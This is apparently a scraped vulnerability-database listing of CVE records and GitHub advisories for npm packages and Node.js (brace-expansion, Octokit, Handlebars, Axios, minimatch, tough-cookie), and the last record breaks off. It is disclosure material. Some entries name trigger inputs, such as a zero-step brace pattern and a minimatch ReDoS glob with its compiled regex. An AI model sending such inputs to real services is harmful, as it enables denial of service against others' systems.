||||||||||||||||||||||||||||||||
| Vendor | Product | Version | ||
|---|---|---|---|---|
| juliangruber | brace-expansion |
Affected:
>= 4.0.0, < 5.0.5
Affected: >= 3.0.0, < 3.0.2 Affected: >= 2.0.0, < 2.0.3 Affected: < 1.1.13 |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-33750",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-03-27T14:47:58.490818Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-03-27T14:48:06.779Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "brace-expansion",
"vendor": "juliangruber",
"versions": [
{
"status": "affected",
"version": "\u003e= 4.0.0, \u003c 5.0.5"
},
{
"status": "affected",
"version": "\u003e= 3.0.0, \u003c 3.0.2"
},
{
"status": "affected",
"version": "\u003e= 2.0.0, \u003c 2.0.3"
},
{
"status": "affected",
"version": "\u003c 1.1.13"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "The brace-expansion library generates arbitrary strings containing a common prefix and suffix. Prior to versions 5.0.5, 3.0.2, 2.0.3, and 1.1.13, a brace pattern with a zero step value (e.g., `{1..2..0}`) causes the sequence generation loop to run indefinitely, making the process hang for seconds and allocate heaps of memory. Versions 5.0.5, 3.0.2, 2.0.3, and 1.1.13 fix the issue. As a workaround, sanitize strings passed to `expand()` to ensure a step value of `0` is not used."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-400",
"description": "CWE-400: Uncontrolled Resource Consumption",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-03-27T14:04:52.297Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v"
},
{
"name": "https://github.com/juliangruber/brace-expansion/issues/98",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/juliangruber/brace-expansion/issues/98"
},
{
"name": "https://github.com/juliangruber/brace-expansion/pull/95",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/juliangruber/brace-expansion/pull/95"
},
{
"name": "https://github.com/juliangruber/brace-expansion/pull/96",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/juliangruber/brace-expansion/pull/96"
},
{
"name": "https://github.com/juliangruber/brace-expansion/pull/97",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/juliangruber/brace-expansion/pull/97"
},
{
"name": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5"
},
{
"name": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2"
},
{
"name": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a"
},
{
"name": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113"
},
{
"name": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184"
}
],
"source": {
"advisory": "GHSA-f886-m6hf-6m8v",
"discovery": "UNKNOWN"
},
"title": "brace-expansion: Zero-step sequence causes process hang and memory exhaustion"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-33750",
"datePublished": "2026-03-27T14:04:52.297Z",
"dateReserved": "2026-03-23T18:30:14.124Z",
"dateUpdated": "2026-03-27T14:48:06.779Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-25285 (GCVE-0-2025-25285)
Vulnerability from cvelistv5 – Published: 2025-02-14 19:31 – Updated: 2025-02-14 19:44- CWE-1333 - Inefficient Regular Expression Complexity
| URL | Tags | ||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||
| Vendor | Product | Version | ||
|---|---|---|---|---|
| octokit | endpoint.js |
Affected:
>= 4.1.0, < 10.1.3
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-25285",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-02-14T19:42:58.912811Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2025-02-14T19:44:09.952Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "endpoint.js",
"vendor": "octokit",
"versions": [
{
"status": "affected",
"version": "\u003e= 4.1.0, \u003c 10.1.3"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "@octokit/endpoint turns REST API endpoints into generic request options. Starting in version 4.1.0 and prior to version 10.1.3, by crafting specific `options` parameters, the `endpoint.parse(options)` call can be triggered, leading to a regular expression denial-of-service (ReDoS) attack. This causes the program to hang and results in high CPU utilization. The issue occurs in the `parse` function within the `parse.ts` file of the npm package `@octokit/endpoint`. Version 10.1.3 contains a patch for the issue."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-1333",
"description": "CWE-1333: Inefficient Regular Expression Complexity",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2025-02-14T19:31:44.827Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/octokit/endpoint.js/security/advisories/GHSA-x4c5-c7rf-jjgv",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/octokit/endpoint.js/security/advisories/GHSA-x4c5-c7rf-jjgv"
},
{
"name": "https://github.com/octokit/endpoint.js/commit/6c9c5be033c450d436efb37de41b6470c22f7db8",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/octokit/endpoint.js/commit/6c9c5be033c450d436efb37de41b6470c22f7db8"
},
{
"name": "https://github.com/octokit/endpoint.js/blob/main/src/parse.ts",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/octokit/endpoint.js/blob/main/src/parse.ts"
}
],
"source": {
"advisory": "GHSA-x4c5-c7rf-jjgv",
"discovery": "UNKNOWN"
},
"title": "@octokit/endpoint has a Regular Expression in parse that Leads to ReDoS Vulnerability Due to Catastrophic Backtracking"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2025-25285",
"datePublished": "2025-02-14T19:31:44.827Z",
"dateReserved": "2025-02-06T17:13:33.121Z",
"dateUpdated": "2025-02-14T19:44:09.952Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
CVE-2026-21637 (GCVE-0-2026-21637)
Vulnerability from cvelistv5 – Published: 2026-01-20 20:41 – Updated: 2026-01-21 20:22- CWE-400 - Uncontrolled Resource Consumption
| Vendor | Product | Version | ||
|---|---|---|---|---|
| nodejs | node |
Affected:
20.19.6 , ≤ 20.19.6
(semver)
Affected: 22.21.1 , ≤ 22.21.1 (semver) Affected: 24.12.0 , ≤ 24.12.0 (semver) Affected: 25.2.1 , ≤ 25.2.1 (semver) Affected: 4.0 , < 4.* (semver) Affected: 5.0 , < 5.* (semver) Affected: 6.0 , < 6.* (semver) Affected: 7.0 , < 7.* (semver) Affected: 8.0 , < 8.* (semver) Affected: 9.0 , < 9.* (semver) Affected: 10.0 , < 10.* (semver) Affected: 11.0 , < 11.* (semver) Affected: 12.0 , < 12.* (semver) Affected: 13.0 , < 13.* (semver) Affected: 14.0 , < 14.* (semver) Affected: 15.0 , < 15.* (semver) Affected: 16.0 , < 16.* (semver) Affected: 17.0 , < 17.* (semver) Affected: 18.0 , < 18.* (semver) |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-21637",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-01-21T20:22:28.525038Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-400",
"description": "CWE-400 Uncontrolled Resource Consumption",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-01-21T20:22:51.033Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "node",
"vendor": "nodejs",
"versions": [
{
"lessThanOrEqual": "20.19.6",
"status": "affected",
"version": "20.19.6",
"versionType": "semver"
},
{
"lessThanOrEqual": "22.21.1",
"status": "affected",
"version": "22.21.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "24.12.0",
"status": "affected",
"version": "24.12.0",
"versionType": "semver"
},
{
"lessThanOrEqual": "25.2.1",
"status": "affected",
"version": "25.2.1",
"versionType": "semver"
},
{
"lessThan": "4.*",
"status": "affected",
"version": "4.0",
"versionType": "semver"
},
{
"lessThan": "5.*",
"status": "affected",
"version": "5.0",
"versionType": "semver"
},
{
"lessThan": "6.*",
"status": "affected",
"version": "6.0",
"versionType": "semver"
},
{
"lessThan": "7.*",
"status": "affected",
"version": "7.0",
"versionType": "semver"
},
{
"lessThan": "8.*",
"status": "affected",
"version": "8.0",
"versionType": "semver"
},
{
"lessThan": "9.*",
"status": "affected",
"version": "9.0",
"versionType": "semver"
},
{
"lessThan": "10.*",
"status": "affected",
"version": "10.0",
"versionType": "semver"
},
{
"lessThan": "11.*",
"status": "affected",
"version": "11.0",
"versionType": "semver"
},
{
"lessThan": "12.*",
"status": "affected",
"version": "12.0",
"versionType": "semver"
},
{
"lessThan": "13.*",
"status": "affected",
"version": "13.0",
"versionType": "semver"
},
{
"lessThan": "14.*",
"status": "affected",
"version": "14.0",
"versionType": "semver"
},
{
"lessThan": "15.*",
"status": "affected",
"version": "15.0",
"versionType": "semver"
},
{
"lessThan": "16.*",
"status": "affected",
"version": "16.0",
"versionType": "semver"
},
{
"lessThan": "17.*",
"status": "affected",
"version": "17.0",
"versionType": "semver"
},
{
"lessThan": "18.*",
"status": "affected",
"version": "18.0",
"versionType": "semver"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "A flaw in Node.js TLS error handling allows remote attackers to crash or exhaust resources of a TLS server when `pskCallback` or `ALPNCallback` are in use. Synchronous exceptions thrown during these callbacks bypass standard TLS error handling paths (tlsClientError and error), causing either immediate process termination or silent file descriptor leaks that eventually lead to denial of service. Because these callbacks process attacker-controlled input during the TLS handshake, a remote client can repeatedly trigger the issue. This vulnerability affects TLS servers using PSK or ALPN callbacks across Node.js versions where these callbacks throw without being safely wrapped."
}
],
"metrics": [
{
"cvssV3_0": {
"baseScore": 5.9,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.0"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-01-20T20:41:55.352Z",
"orgId": "36234546-b8fa-4601-9d6f-f4e334aa8ea1",
"shortName": "hackerone"
},
"references": [
{
"url": "https://nodejs.org/en/blog/vulnerability/december-2025-security-releases"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "36234546-b8fa-4601-9d6f-f4e334aa8ea1",
"assignerShortName": "hackerone",
"cveId": "CVE-2026-21637",
"datePublished": "2026-01-20T20:41:55.352Z",
"dateReserved": "2026-01-01T15:00:02.339Z",
"dateUpdated": "2026-01-21T20:22:51.033Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-33937 (GCVE-0-2026-33937)
Vulnerability from cvelistv5 – Published: 2026-03-27 21:03 – Updated: 2026-04-01 03:55| URL | Tags | ||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||
| Vendor | Product | Version | ||
|---|---|---|---|---|
| handlebars-lang | handlebars.js |
Affected:
>= 4.0.0, < 4.7.9
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-33937",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-03-31T00:00:00+00:00",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-04-01T03:55:43.931Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "handlebars.js",
"vendor": "handlebars-lang",
"versions": [
{
"status": "affected",
"version": "\u003e= 4.0.0, \u003c 4.7.9"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, `Handlebars.compile()` accepts a pre-parsed AST object in addition to a template string. The `value` field of a `NumberLiteral` AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to `compile()` can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server. Version 4.7.9 fixes the issue. Some workarounds are available. Validate input type before calling `Handlebars.compile()`; ensure the argument is always a `string`, never a plain object or JSON-deserialized value. Use the Handlebars runtime-only build (`handlebars/runtime`) on the server if templates are pre-compiled at build time; `compile()` will be unavailable."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-843",
"description": "CWE-843: Access of Resource Using Incompatible Type (\u0027Type Confusion\u0027)",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-94",
"description": "CWE-94: Improper Control of Generation of Code (\u0027Code Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-03-27T21:03:46.748Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2w6w-674q-4c4q",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2w6w-674q-4c4q"
},
{
"name": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
},
{
"name": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
}
],
"source": {
"advisory": "GHSA-2w6w-674q-4c4q",
"discovery": "UNKNOWN"
},
"title": "Handlebars.js has JavaScript Injection via AST Type Confusion"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-33937",
"datePublished": "2026-03-27T21:03:46.748Z",
"dateReserved": "2026-03-24T19:50:52.103Z",
"dateUpdated": "2026-04-01T03:55:43.931Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-62718 (GCVE-0-2025-62718)
Vulnerability from cvelistv5 – Published: 2026-04-09 14:31 – Updated: 2026-04-16 18:44| URL | Tags | ||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||||||||||||||||||||
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-62718",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-04-09T15:02:50.313939Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-04-09T16:15:31.322Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/axios/axios/security/advisories/GHSA-3p68-rc4w-qgx5"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "axios",
"vendor": "axios",
"versions": [
{
"status": "affected",
"version": "\u003e= 1.0.0, \u003c 1.15.0"
},
{
"status": "affected",
"version": "\u003c 0.31.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.0 and 0.31.0, Axios does not correctly handle hostname normalization when checking NO_PROXY rules. Requests to loopback addresses like localhost. (with a trailing dot) or [::1] (IPv6 literal) skip NO_PROXY matching and go through the configured proxy. This goes against what developers expect and lets attackers force requests through a proxy, even if NO_PROXY is set up to protect loopback or internal services. This issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections. This vulnerability is fixed in 1.15.0 and 0.31.0."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "NETWORK",
"baseScore": 6.3,
"baseSeverity": "MEDIUM",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "LOW",
"subIntegrityImpact": "LOW",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "LOW"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-441",
"description": "CWE-441: Unintended Proxy or Intermediary (\u0027Confused Deputy\u0027)",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-918",
"description": "CWE-918: Server-Side Request Forgery (SSRF)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-04-16T18:44:20.705Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/axios/axios/security/advisories/GHSA-3p68-rc4w-qgx5",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/axios/axios/security/advisories/GHSA-3p68-rc4w-qgx5"
},
{
"name": "https://github.com/axios/axios/pull/10661",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/axios/axios/pull/10661"
},
{
"name": "https://github.com/axios/axios/pull/10688",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/axios/axios/pull/10688"
},
{
"name": "https://github.com/axios/axios/commit/03cdfc99e8db32a390e12128208b6778492cee9c",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/axios/axios/commit/03cdfc99e8db32a390e12128208b6778492cee9c"
},
{
"name": "https://github.com/axios/axios/commit/fb3befb6daac6cad26b2e54094d0f2d9e47f24df",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/axios/axios/commit/fb3befb6daac6cad26b2e54094d0f2d9e47f24df"
},
{
"name": "https://datatracker.ietf.org/doc/html/rfc1034#section-3.1",
"tags": [
"x_refsource_MISC"
],
"url": "https://datatracker.ietf.org/doc/html/rfc1034#section-3.1"
},
{
"name": "https://datatracker.ietf.org/doc/html/rfc3986#section-3.2.2",
"tags": [
"x_refsource_MISC"
],
"url": "https://datatracker.ietf.org/doc/html/rfc3986#section-3.2.2"
},
{
"name": "https://github.com/axios/axios/releases/tag/v0.31.0",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/axios/axios/releases/tag/v0.31.0"
},
{
"name": "https://github.com/axios/axios/releases/tag/v1.15.0",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/axios/axios/releases/tag/v1.15.0"
}
],
"source": {
"advisory": "GHSA-3p68-rc4w-qgx5",
"discovery": "UNKNOWN"
},
"title": "Axios has a NO_PROXY Hostname Normalization Bypass that Leads to SSRF"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2025-62718",
"datePublished": "2026-04-09T14:31:46.067Z",
"dateReserved": "2025-10-20T19:41:22.741Z",
"dateUpdated": "2026-04-16T18:44:20.705Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GHSA-3PPC-4F35-3M26
Vulnerability from github – Published: 2026-02-18 22:38 – Updated: 2026-02-24 20:59Summary
minimatch is vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive * wildcards followed by a literal character that doesn't appear in the test string. Each * compiles to a separate [^/]*? regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits.
The time complexity is O(4^N) where N is the number of * characters. With N=15, a single minimatch() call takes ~2 seconds. With N=34, it hangs effectively forever.
Details
Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
PoC
When minimatch compiles a glob pattern, each * becomes [^/]*? in the generated regex. For a pattern like ***************X***:
/^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/
When the test string doesn't contain X, the regex engine must try every possible way to distribute the characters across all the [^/]*? groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) — exponential.
Impact
Any application that passes user-controlled strings to minimatch() as the pattern argument is vulnerable to DoS. This includes:
- File search/filter UIs that accept glob patterns
- .gitignore-style filtering with user-defined rules
- Build tools that accept glob configuration
- Any API that exposes glob matching to untrusted input
Thanks to @ljharb for back-porting the fix to legacy versions of minimatch.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "10.0.0"
},
{
"fixed": "10.2.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.4.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "6.2.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.1.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.2.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-26996"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-18T22:38:11Z",
"nvd_published_at": "2026-02-20T03:16:01Z",
"severity": "HIGH"
},
"details": "### Summary\n`minimatch` is vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive `*` wildcards followed by a literal character that doesn\u0027t appear in the test string. Each `*` compiles to a separate `[^/]*?` regex group, and when the match fails, V8\u0027s regex engine backtracks exponentially across all possible splits.\n\nThe time complexity is O(4^N) where N is the number of `*` characters. With N=15, a single `minimatch()` call takes ~2 seconds. With N=34, it hangs effectively forever.\n\n\n### Details\n_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._\n\n### PoC\nWhen minimatch compiles a glob pattern, each `*` becomes `[^/]*?` in the generated regex. For a pattern like `***************X***`:\n\n```\n/^(?!\\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/\n```\n\nWhen the test string doesn\u0027t contain `X`, the regex engine must try every possible way to distribute the characters across all the `[^/]*?` groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) \u2014 exponential.\n### Impact\nAny application that passes user-controlled strings to `minimatch()` as the pattern argument is vulnerable to DoS. This includes:\n- File search/filter UIs that accept glob patterns\n- `.gitignore`-style filtering with user-defined rules\n- Build tools that accept glob configuration\n- Any API that exposes glob matching to untrusted input\n\n----\n\nThanks to @ljharb for back-porting the fix to legacy versions of minimatch.",
"id": "GHSA-3ppc-4f35-3m26",
"modified": "2026-02-24T20:59:57Z",
"published": "2026-02-18T22:38:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/minimatch/security/advisories/GHSA-3ppc-4f35-3m26"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26996"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/minimatch/commit/2e111f3a79abc00fa73110195de2c0f2351904f5"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/minimatch"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "minimatch has a ReDoS via repeated wildcards with non-matching literal in pattern"
}
GHSA-72XF-G2V4-QVF3
Vulnerability from github – Published: 2023-07-01 06:30 – Updated: 2024-06-21 21:33Versions of the package tough-cookie before 4.1.3 are vulnerable to Prototype Pollution due to improper handling of Cookies when using CookieJar in rejectPublicSuffixes=false mode. This issue arises from the manner in which the objects are initialized.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "tough-cookie"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-26136"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2023-07-07T21:39:57Z",
"nvd_published_at": "2023-07-01T05:15:16Z",
"severity": "MODERATE"
},
